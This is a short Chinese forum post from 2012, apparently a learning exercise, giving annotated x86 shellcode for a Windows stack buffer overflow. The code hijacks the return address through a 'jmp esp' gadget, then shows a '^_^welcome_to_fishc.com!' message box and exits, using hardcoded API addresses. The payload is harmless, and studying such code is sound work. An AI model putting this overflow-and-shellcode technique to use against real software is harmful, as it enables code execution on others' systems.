|
发表于 2012-8-8 22:15:12
|
显示全部楼层
本帖最后由 五月跳回家 于 2012-8-9 11:24 编辑
shellcode- "\x66\x69\x73\x68"//前面填充80个字节栈
- "\x12\x45\xfa\x7f"//jmp esp(原eip)
- "\x33\xDB\x53"//xor ebx,ebx
- "\x68\x63\x6F\x6D\x21"//push 216D6F63
- "\x68\x73\x68\x63\x2E"//push 2E636873
- "\x68\x6F\x5F\x66\x69"//push 69665F6F
- "\x68\x6D\x65\x5F\x74"//push 745F656D
- "\x68\x65\x6C\x63\x6F"//push 6F636C65
- "\x68\x5E\x5F\x5E\x77"//push 775E5F5E; ascii ^_^welcome_to_fishc.com!
- "\x8B\xC4"//mov eax, esp
- "\x53"//push ebx
- "\x50"//push eax
- "\x50"//push eax
- "\x53"//push ebx
- "\xB8\x11\xEA\x34\x75"//mov eax,0x7534EA11 ; 我电脑上MessageBoxA的地址
- "\xFF\xD0"//call eax
- "\x53"//push ebx
- "\xB8\xFA\xCA\x81\x7C"//mov eax, 7C81CAFA
- "\xFF\xD0";//call eax; exit(0)
复制代码
|
|